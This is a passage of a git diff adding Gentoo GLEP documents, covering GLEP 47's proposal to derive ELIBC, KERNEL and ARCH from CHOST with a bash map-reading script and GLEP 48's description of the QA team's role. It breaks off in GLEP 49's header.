+of the system.  A user that changes the <tt class="docutils literal"><span class="pre">CHOST</span></tt> into something that is
+not valid for the system, is already warned that this might render the
+system unusable.  Concluding, the 'safeness' of the <tt class="docutils literal"><span class="pre">CHOST</span></tt> variable
+is based on externally assumed 'safeness', which's discussion falls
+outside this GLEP.</p>
+<p>Current USE-expansion of the variables is being maintained, as this
+results in full backward compatibility.  Since the variables themself
+don't change in what they represent, but only how they are being
+assigned, there should be no problem in maintaining them.  Using
+USE-expansion, conditional code can be written down in ebuilds, which is
+not different from any existing methods at all:</p>
+<pre class="literal-block">
+...
+RDEPEND=&quot;elibc_FreeBSD? ( sys-libs/com_err )&quot;
+...
+src_compile() {
+    ...
+    use elibc_FreeBSD &amp;&amp; myconf=&quot;${myconf} -Dlibc=/usr/lib/libc.a&quot;
+    ...
+}
+</pre>
+<p>Alternatively, the variables <tt class="docutils literal"><span class="pre">ELIBC</span></tt>, <tt class="docutils literal"><span class="pre">KERNEL</span></tt> and <tt class="docutils literal"><span class="pre">ARCH</span></tt>
+are available in the ebuild evironment and they can be used instead of
+invoking <tt class="docutils literal"><span class="pre">xxx_Xxxx</span></tt> or in switch statements where they are actually
+necessary.</p>
+<p>A map file can be used to have the various <tt class="docutils literal"><span class="pre">CHOST</span></tt> values being
+translated to the correct values for the four variables.  This change is
+invisible for ebuilds and eclasses, but allows to rely on these
+variables as they are based on a 'safe' value -- the <tt class="docutils literal"><span class="pre">CHOST</span></tt> variable.
+Ebuilds should not be sensitive to the keyword value, but use the
+aforementioned four variables instead.  They allow specific tests for
+properties.  If this is undesirable, the full <tt class="docutils literal"><span class="pre">CHOST</span></tt> variable can be
+used to match a complete operating system.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id11" id="variable-assignment" name="variable-assignment">Variable Assignment</a></h2>
+<p>The <tt class="docutils literal"><span class="pre">ELIBC</span></tt>, <tt class="docutils literal"><span class="pre">KERNEL</span></tt>, <tt class="docutils literal"><span class="pre">ARCH</span></tt> variables are filled from a profile
+file.  The file can be overlaid, such that the following entries in the
+map file (on the left of the arrow) will result in the assigned
+variables on the right hand side of the arrow:</p>
+<pre class="literal-block">
+*-*-linux-*      -&gt; KERNEL=&quot;linux&quot;
+*-*-*-gnu        -&gt; ELIBC=&quot;glibc&quot;
+*-*-kfreebsd-gnu -&gt; KERNEL=&quot;FreeBSD&quot; ELIBC=&quot;glibc&quot;
+*-*-freebsd*     -&gt; KERNEL=&quot;FreeBSD&quot; ELIBC=&quot;FreeBSD&quot;
+*-*-darwin*      -&gt; KERNEL=&quot;Darwin&quot; ELIBC=&quot;Darwin&quot;
+*-*-netbsd*      -&gt; KERNEL=&quot;NetBSD&quot; ELIBC=&quot;NetBSD&quot;
+*-*-solaris*     -&gt; KERNEL=&quot;Solaris&quot; ELIBC=&quot;Solaris&quot;
+</pre>
+<p>A way to achieve this is proposed by Mike Frysinger, which
+suggests to have an env-map file, for instance filled with:</p>
+<pre class="literal-block">
+% cat env-map
+*-linux-* KERNEL=linux
+*-gnu ELIBC=glibc
+x86_64-* ARCH=amd64
+</pre>
+<p>then the following bash script can be used to set the four variables to
+their correct values:</p>
+<pre class="literal-block">
+% cat readmap
+#!/bin/bash
+
+CBUILD=${CBUILD:-${CHOST=${CHOST:-$1}}}
+[[ -z ${CHOST} ]] &amp;&amp; echo need chost
+
+unset KERNEL ELIBC ARCH
+
+while read LINE ; do
+    set -- ${LINE}
+    targ=$1
+    shift
+    [[ ${CBUILD} == ${targ} ]] &amp;&amp; eval $&#64;
+done &lt; env-map
+
+echo ARCH=${ARCH} KERNEL=${KERNEL} ELIBC=${ELIBC}
+</pre>
+<p>Given the example env-map file, this script would result in:</p>
+<pre class="literal-block">
+% ./readmap x86_64-pc-linux-gnu
+ARCH=amd64 KERNEL=linux ELIBC=glibc
+</pre>
+<p>The entries in the <tt class="docutils literal"><span class="pre">env-map</span></tt> file will be evaluated in a forward
+linear full scan.  A side-effect of this exhaustive search is that the
+variables can be re-assigned if multiple entries match the given
+<tt class="docutils literal"><span class="pre">CHOST</span></tt>.  Because of this, the order of the entries does matter.
+Because the <tt class="docutils literal"><span class="pre">env-map</span></tt> file size is assumed not to exceed the block
+size of the file system, the performance penalty of a full scan versus
+'first-hit-stop technique' is assumed to be minimal.</p>
+<p>It should be noted, however, that the above bash script is a proof of
+concept implementation.  Since Portage is largerly written in Python, it
+will be more efficient to write an equivalent of this code in Python
+also.  Coding wise, this is considered to be a non-issue, but the format
+of the <tt class="docutils literal"><span class="pre">env-map</span></tt> file, and especially its wildcard characters, might
+not be the best match with Python.  For this purpose, the format
+specification of the <tt class="docutils literal"><span class="pre">env-map</span></tt> file is deferred to the Python
+implementation, and only the requirements are given here.</p>
+<p>The <tt class="docutils literal"><span class="pre">env-map</span></tt> file should be capable of encoding a <tt class="docutils literal"><span class="pre">key</span></tt>, <tt class="docutils literal"><span class="pre">value</span></tt>
+pair, where <tt class="docutils literal"><span class="pre">key</span></tt> is a (regular) expression that matches a
+chost-string, and <tt class="docutils literal"><span class="pre">value</span></tt> contains at least one, distinct variable
+assignment for the variables <tt class="docutils literal"><span class="pre">ARCH</span></tt>, <tt class="docutils literal"><span class="pre">KERNEL</span></tt> and <tt class="docutils literal"><span class="pre">ELIBC</span></tt>.  The
+interpreter of the <tt class="docutils literal"><span class="pre">env-map</span></tt> file must scan the file linearly and
+continue trying to match the <tt class="docutils literal"><span class="pre">key</span></tt>s and assign variables if
+appropriate until the end of file.</p>
+<p>Since Portage will use the <tt class="docutils literal"><span class="pre">env-map</span></tt> file, the location of the file is
+beyond the scope of this GLEP and up to the Portage implementors.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id3">[1]</a></td><td>GLEP 22, New &quot;keyword&quot; system to incorporate various
+userlands/kernels/archs, Goodyear,
+(<a class="reference" href="http://glep.gentoo.org/glep-0022.html">http://glep.gentoo.org/glep-0022.html</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id4">[2]</a></td><td>For the purpose of readability, we will refer to 1, 2 and
+4-tuples, even though tuple in itself suggest a field consisting of
+two values.  For clarity: a 1-tuple describes a single value field,
+while a 4-tuple describes a field consisting out of four values.</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0047.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0047.txt b/xml/htdocs/proj/en/glep/glep-0047.txt
new file mode 100644
index 00000000..0fd31284
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0047.txt
@@ -0,0 +1,253 @@
+GLEP: 47
+Title: Creating 'safe' environment variables
+Version: $Revision: 1.6 $
+Last-Modified: $Date: 2007/07/22 10:03:18 $
+Author:	Diego Pettenò, Fabian Groffen
+Status: Rejected
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 14-Oct-2005
+Post-History: 09-Feb-2006
+
+
+Credits
+=======
+
+The text of this GLEP is a result of a discussion and input of the
+following persons, in no particular order: Mike Frysinger, Diego
+Pettenò, Fabian Groffen and Finn Thain.
+
+
+Abstract
+========
+
+In order for ebuilds and eclasses to be able to make host specific
+decisions, it is necessary to have a number of environmental variables
+which allow for such decisions.  This GLEP introduces some measures that
+need to be made to make these decisions 'safe', by making sure the
+variables the decisions are based on are 'safe'.  A small overlap with
+GLEP 22 [1]_ is being handled in this GLEP where the use of 2-tuple
+keywords are being kept instead of 4-tuple keywords.  Additionally, the
+``ELIBC``, ``KERNEL`` and ``ARCH`` get auto filled starting from
+``CHOST`` and the 2-tuple keyword, instead of solely from they 4-tuple
+keyword as proposed in GLEP 22.
+   
+The destiny of the ``USERLAND`` variable is out of the scope of this
+GLEP.  Depending on its presence in the tree, it may be decided to set
+this variable the same way we propose to set ``ELIBC``, ``KERNEL`` and
+``ARCH``, or alternatively, e.g. via the profiles.
+
+
+Motivation
+==========
+
+The Gentoo/Alt project is in an emerging state to get ready to serve a
+plethora of 'alternative' configurations such as FreeBSD, NetBSD,
+DragonflyBSD, GNU/kFreeBSD, Mac OS X, (Open)Darwin, (Open)Solaris and so
+on.  As such, the project is in need for a better grip on the actual
+host being built on.  This information on the host environment is
+necessary to make proper (automated) decisions on settings that are
+highly dependant on the build environment, such as platform or C-library
+implementation.
+
+
+Rationale
+=========
+
+Gentoo's unique Portage system allows easy installation of applications
+from source packages.  Compiling sources is prone to many environmental
+settings and availability of certain tools.  Only recently the Gentoo
+for FreeBSD project has started, as second Gentoo project that operates
+on a foreign host operating system using foreign (non-GNU) C-libraries
+and userland utilities.  Such projects suffer from the current implicit
+assumption made within Gentoo Portage's ebuilds that there is a single
+type of operating system, C-libraries and system utilities.  In order to
+enable ebuilds -- and also eclasses -- to be aware of these
+environmental differences, information regarding it should be supplied.
+Since decisions based on this information can be vital, it is of high
+importance that this information can be trusted and the values can be
+considered 'safe' and correct.
+
+
+Backwards Compatibility
+=======================
+
+The proposed keywording scheme in this GLEP is fully compatible with the
+current situation of the portage tree, this in contrast to GLEP 22.  The
+variables provided by GLEP 22 can't be extracted from the new keyword,
+but since GLEP 22-style keywords aren't in the tree at the moment, that
+is not a problem.  The same information can be extracted from the CHOST
+variable, if necessary.  No modifications to ebuilds will have to be
+made.
+
+
+Specification
+=============
+
+Unlike GLEP 22 the currently used keyword scheme is not changed.
+Instead of proposing a 4-tuple [2]_ keyword, a 2-tuple keyword is chosen
+for archs that require them.  Archs for which a 1-tuple keyword
+suffices, can keep that keyword.  Since this doesn't change anything to
+the current situation in the tree, it is considered to be a big
+advantage over the 4-tuple keyword from GLEP 22.  This GLEP is an
+official specification of the syntax of the keyword.
+
+Keywords will consist out of two parts separated by a hyphen ('-').  The
+part up to the first hyphen from the left of the keyword 2-tuple is the
+architecture, such as ppc64, sparc and x86.  Allowed characters for the
+architecture name are in ``a-z0-9``.  The remaining part on the right of
+the first hyphen from the left indicates the operating system or
+distribution, such as linux, macos, darwin, obsd, et-cetera.  If the
+right hand part is omitted, it implies the operating system/distribution
+type is Gentoo GNU/Linux.  In such case the hyphen is also omitted, and
+the keyword consists of solely the architecture.  The operating system
+or distribution name can consist out of characters in ``a-zA-Z0-9_+:-``.
+Please note that the hyphen is an allowed character, and therefore the
+separation of the two fields in the keyword is only determinable by
+scanning for the first hyphen character from the start of the keyword
+string.  Examples of keywords following this specification are
+ppc-darwin and x86.  This is fully compatible with the current use of
+keywords in the tree.
+
+The variables ``ELIBC``, ``KERNEL`` and ``ARCH`` are currently set in
+the profiles when other than their defaults for a GNU/Linux system.
+They can as such easily be overridden and defined by the user.  To
+prevent this from happening, the variables should be auto filled by
+Portage itself, based on the ``CHOST`` variable.  While the ``CHOST``
+variable can be as easy as the others set by the user, it still is
+assumed to be 'safe'.  This assumption is grounded in the fact that the
+variable itself is being used in various other places with the same
+intention, and that an invalid ``CHOST`` will cause major malfunctioning
+of the system.  A user that changes the ``CHOST`` into something that is
+not valid for the system, is already warned that this might render the
+system unusable.  Concluding, the 'safeness' of the ``CHOST`` variable
+is based on externally assumed 'safeness', which's discussion falls
+outside this GLEP.
+
+Current USE-expansion of the variables is being maintained, as this
+results in full backward compatibility.  Since the variables themself
+don't change in what they represent, but only how they are being
+assigned, there should be no problem in maintaining them.  Using
+USE-expansion, conditional code can be written down in ebuilds, which is
+not different from any existing methods at all::
+
+    ...
+    RDEPEND="elibc_FreeBSD? ( sys-libs/com_err )"
+    ...
+    src_compile() {
+        ...
+        use elibc_FreeBSD && myconf="${myconf} -Dlibc=/usr/lib/libc.a"
+        ...
+    }
+
+Alternatively, the variables ``ELIBC``, ``KERNEL`` and ``ARCH``
+are available in the ebuild evironment and they can be used instead of
+invoking ``xxx_Xxxx`` or in switch statements where they are actually
+necessary.
+
+A map file can be used to have the various ``CHOST`` values being
+translated to the correct values for the four variables.  This change is
+invisible for ebuilds and eclasses, but allows to rely on these
+variables as they are based on a 'safe' value -- the ``CHOST`` variable.
+Ebuilds should not be sensitive to the keyword value, but use the
+aforementioned four variables instead.  They allow specific tests for
+properties.  If this is undesirable, the full ``CHOST`` variable can be
+used to match a complete operating system.
+
+
+Variable Assignment
+-------------------
+
+The ``ELIBC``, ``KERNEL``, ``ARCH`` variables are filled from a profile
+file.  The file can be overlaid, such that the following entries in the
+map file (on the left of the arrow) will result in the assigned
+variables on the right hand side of the arrow::
+
+    *-*-linux-*      -> KERNEL="linux"  
+    *-*-*-gnu        -> ELIBC="glibc"
+    *-*-kfreebsd-gnu -> KERNEL="FreeBSD" ELIBC="glibc"
+    *-*-freebsd*     -> KERNEL="FreeBSD" ELIBC="FreeBSD"
+    *-*-darwin*      -> KERNEL="Darwin" ELIBC="Darwin"
+    *-*-netbsd*      -> KERNEL="NetBSD" ELIBC="NetBSD"
+    *-*-solaris*     -> KERNEL="Solaris" ELIBC="Solaris"
+
+A way to achieve this is proposed by Mike Frysinger, which
+suggests to have an env-map file, for instance filled with::
+
+    % cat env-map
+    *-linux-* KERNEL=linux
+    *-gnu ELIBC=glibc
+    x86_64-* ARCH=amd64
+
+then the following bash script can be used to set the four variables to
+their correct values::
+
+    % cat readmap 
+    #!/bin/bash 
+    
+    CBUILD=${CBUILD:-${CHOST=${CHOST:-$1}}} 
+    [[ -z ${CHOST} ]] && echo need chost 
+    
+    unset KERNEL ELIBC ARCH 
+    
+    while read LINE ; do 
+        set -- ${LINE} 
+        targ=$1 
+        shift 
+        [[ ${CBUILD} == ${targ} ]] && eval $@ 
+    done < env-map 
+    
+    echo ARCH=${ARCH} KERNEL=${KERNEL} ELIBC=${ELIBC}
+
+Given the example env-map file, this script would result in::
+
+    % ./readmap x86_64-pc-linux-gnu 
+    ARCH=amd64 KERNEL=linux ELIBC=glibc
+
+The entries in the ``env-map`` file will be evaluated in a forward
+linear full scan.  A side-effect of this exhaustive search is that the
+variables can be re-assigned if multiple entries match the given
+``CHOST``.  Because of this, the order of the entries does matter.
+Because the ``env-map`` file size is assumed not to exceed the block
+size of the file system, the performance penalty of a full scan versus
+'first-hit-stop technique' is assumed to be minimal.
+
+It should be noted, however, that the above bash script is a proof of
+concept implementation.  Since Portage is largerly written in Python, it
+will be more efficient to write an equivalent of this code in Python
+also.  Coding wise, this is considered to be a non-issue, but the format
+of the ``env-map`` file, and especially its wildcard characters, might
+not be the best match with Python.  For this purpose, the format
+specification of the ``env-map`` file is deferred to the Python
+implementation, and only the requirements are given here.
+
+The ``env-map`` file should be capable of encoding a ``key``, ``value``
+pair, where ``key`` is a (regular) expression that matches a
+chost-string, and ``value`` contains at least one, distinct variable
+assignment for the variables ``ARCH``, ``KERNEL`` and ``ELIBC``.  The
+interpreter of the ``env-map`` file must scan the file linearly and
+continue trying to match the ``key``\s and assign variables if
+appropriate until the end of file.
+
+Since Portage will use the ``env-map`` file, the location of the file is
+beyond the scope of this GLEP and up to the Portage implementors.
+
+
+References
+==========
+
+.. [1] GLEP 22, New "keyword" system to incorporate various
+   userlands/kernels/archs, Goodyear,
+   (http://glep.gentoo.org/glep-0022.html)
+
+.. [2] For the purpose of readability, we will refer to 1, 2 and
+   4-tuples, even though tuple in itself suggest a field consisting of
+   two values.  For clarity: a 1-tuple describes a single value field,
+   while a 4-tuple describes a field consisting out of four values.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0048.html b/xml/htdocs/proj/en/glep/glep-0048.html
new file mode 100644
index 00000000..a1b65ed1
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0048.html
@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 48 -- QA Team's Role and Purpose</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0048.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">48</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">QA Team's Role and Purpose</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.3</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0048.txt?cvsroot=gentoo">2006/09/05 20:36:38</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Mark Loeser &lt;halcy0n&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">24 April 2006</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">24-Apr-2006, 5-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id3" name="id3">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id4" name="id4">Specification</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id5" name="id5">Backwards Compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id6" name="id6">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP outlines the abilities and purpose of the Quality Assurance team
+for Gentoo.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="motivation" name="motivation">Motivation</a></h1>
+<p>For years now developers have been saying how we need an empowered QA team to
+handle problems concerning the tree.  This GLEP provides the structure for
+such a team and specifies the roles the team would fulfill.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="specification" name="specification">Specification</a></h1>
+<p>The QA team should be given certain abilities to look out for the best
+interests of all developers, as well as our users.  The QA team should also
+work to ensure developers have the information they need, and that packages
+are maintained.</p>
+<ul class="simple">
+<li>The QA team's purpose is to provide cross-team assistance in keeping the
+tree in a good state. This is done primarily by finding and pointing out
+issues to maintainers and, where necessary, taking direct action.</li>
+<li>In case of emergency, or if package maintainers refuse to cooperate,
+the QA team may take action themselves to fix the problem.  The QA team
+does not want to override the maintainer's wishes by default, but only
+wish to do so when the team finds it is in the best interest of users and
+fellow developers to have the issue addressed as soon as possible.</li>
+<li>The QA team may also offer to fix obvious typos and similar minor issues,
+and silence from the package maintainers can be taken as agreement in such
+situations.  Coding style issues fall under this category, and while they
+are not severe, they can make automated checks of the tree more difficult.</li>
+<li>There will be cases when our tools are incapable of handling a certain
+situation and policy must be broken in order to get something working
+completely.  This will hopefully not occur very often but each time it
+does occur, the QA team and the maintainer will come to some agreement on
+an interim solution and it is expected that a bug will be opened with the
+appropriate team to work towards a correct solution.</li>
+<li>In the case of disagreement among QA members the majority of established
+QA members must agree with the action.  Some examples of disagreements are:
+whether the percieved problem violates the policy or whether the solution
+makes the situation worse.</li>
+<li>In the event that a developer still insists that a package does not break
+QA standards, an appeal can be made at the next council meeting. The package
+should be dealt with per QA's request until such a time that a decision is
+made by the council.</li>
+<li>Just because a particular QA violation has yet to cause an issue does not
+change the fact that it is still a QA violation.</li>
+<li>If a particular developer persistently causes breakage, the QA team
+may request that devrel re-evaluates that developer's commit rights.
+Evidence of past breakages will be presented with this request to devrel.</li>
+<li>The QA team will maintain a list of current &quot;QA Standards&quot; with explanations
+as to why they are problems, and how to fix the problem.  The list is not
+meant by any means to be a comprehensive document, but rather a dynamic
+document that will be updated as new problems are discovered.  The QA team
+will also do their best to ensure all developer tools are in line with the
+current QA standards.</li>
+<li>In order to join the QA team, you must be a developer for at least 4 months
+and must ask the current lead for approval.</li>
+<li>The QA team will work with Recruiters to keep related documentation and
+quizzes up to date, so that up and coming developers will have access to all
+of the necessary information to avoid past problems.</li>
+<li>QA will take an active role in cleaning up and removing from the tree
+unmaintained packages as they are found to be broken.  It is also
+encouraged of members of the QA team to assist in mentoring new developers
+that wish to take over unmaintained packages/herds.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not a problem for this GLEP.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0048.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0048.txt b/xml/htdocs/proj/en/glep/glep-0048.txt
new file mode 100644
index 00000000..c8945567
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0048.txt
@@ -0,0 +1,91 @@
+GLEP: 48
+Title: QA Team's Role and Purpose
+Version: $Revision: 1.3 $
+Last-Modified: $Date: 2006/09/05 20:36:38 $
+Author: Mark Loeser <halcy0n@gentoo.org>,
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 24 April 2006
+Post-History: 24-Apr-2006, 5-Sep-2006
+
+
+Abstract
+========
+
+This GLEP outlines the abilities and purpose of the Quality Assurance team
+for Gentoo.
+
+Motivation
+==========
+
+For years now developers have been saying how we need an empowered QA team to
+handle problems concerning the tree.  This GLEP provides the structure for
+such a team and specifies the roles the team would fulfill.
+
+Specification
+=============
+
+The QA team should be given certain abilities to look out for the best
+interests of all developers, as well as our users.  The QA team should also
+work to ensure developers have the information they need, and that packages
+are maintained.
+
+* The QA team's purpose is to provide cross-team assistance in keeping the
+  tree in a good state. This is done primarily by finding and pointing out
+  issues to maintainers and, where necessary, taking direct action.
+* In case of emergency, or if package maintainers refuse to cooperate,
+  the QA team may take action themselves to fix the problem.  The QA team
+  does not want to override the maintainer's wishes by default, but only
+  wish to do so when the team finds it is in the best interest of users and
+  fellow developers to have the issue addressed as soon as possible.
+* The QA team may also offer to fix obvious typos and similar minor issues,
+  and silence from the package maintainers can be taken as agreement in such
+  situations.  Coding style issues fall under this category, and while they
+  are not severe, they can make automated checks of the tree more difficult.
+* There will be cases when our tools are incapable of handling a certain
+  situation and policy must be broken in order to get something working
+  completely.  This will hopefully not occur very often but each time it
+  does occur, the QA team and the maintainer will come to some agreement on
+  an interim solution and it is expected that a bug will be opened with the
+  appropriate team to work towards a correct solution.
+* In the case of disagreement among QA members the majority of established
+  QA members must agree with the action.  Some examples of disagreements are:
+  whether the percieved problem violates the policy or whether the solution
+  makes the situation worse.
+* In the event that a developer still insists that a package does not break
+  QA standards, an appeal can be made at the next council meeting. The package
+  should be dealt with per QA's request until such a time that a decision is
+  made by the council.
+* Just because a particular QA violation has yet to cause an issue does not
+  change the fact that it is still a QA violation.
+* If a particular developer persistently causes breakage, the QA team
+  may request that devrel re-evaluates that developer's commit rights.
+  Evidence of past breakages will be presented with this request to devrel.
+* The QA team will maintain a list of current "QA Standards" with explanations
+  as to why they are problems, and how to fix the problem.  The list is not
+  meant by any means to be a comprehensive document, but rather a dynamic
+  document that will be updated as new problems are discovered.  The QA team
+  will also do their best to ensure all developer tools are in line with the
+  current QA standards.
+* In order to join the QA team, you must be a developer for at least 4 months
+  and must ask the current lead for approval.
+* The QA team will work with Recruiters to keep related documentation and
+  quizzes up to date, so that up and coming developers will have access to all
+  of the necessary information to avoid past problems.
+* QA will take an active role in cleaning up and removing from the tree
+  unmaintained packages as they are found to be broken.  It is also
+  encouraged of members of the QA team to assist in mentoring new developers
+  that wish to take over unmaintained packages/herds.
+
+
+Backwards Compatibility
+=======================
+
+Not a problem for this GLEP.
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0049.html b/xml/htdocs/proj/en/glep/glep-0049.html
new file mode 100644
index 00000000..f0baa1ce
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0049.html
@@ -0,0 +1,352 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 49 -- Alternative Package Manager requirements</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0049.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">49</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Alternative Package Manager requirements</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0049.txt?cvsroot=gentoo">2006/09/05 20:54:30</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Paul de Vrieze &lt;pauldv&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Rejected</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">18-May-2006</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">19-May-2006, 6-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id7" name="id7">Status</a></li>
+<li><a class="reference" href="#abstract" id="id8" name="id8">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id9" name="id9">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id10" name="id10">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id11" name="id11">Backwards Compatibility</a></li>
+<li><a class="reference" href="#categories-of-package-managers" id="id12" name="id12">Categories of package managers</a></li>
+<li><a class="reference" href="#package-manager-requirements" id="id13" name="id13">Package manager requirements</a><ul>
+<li><a class="reference" href="#primary-package-manager-requirements" id="id14" name="id14">Primary package manager requirements</a></li>
+<li><a class="reference" href="#candidate-primary-package-manager-requirements" id="id15" name="id15">Candidate primary package manager requirements</a></li>
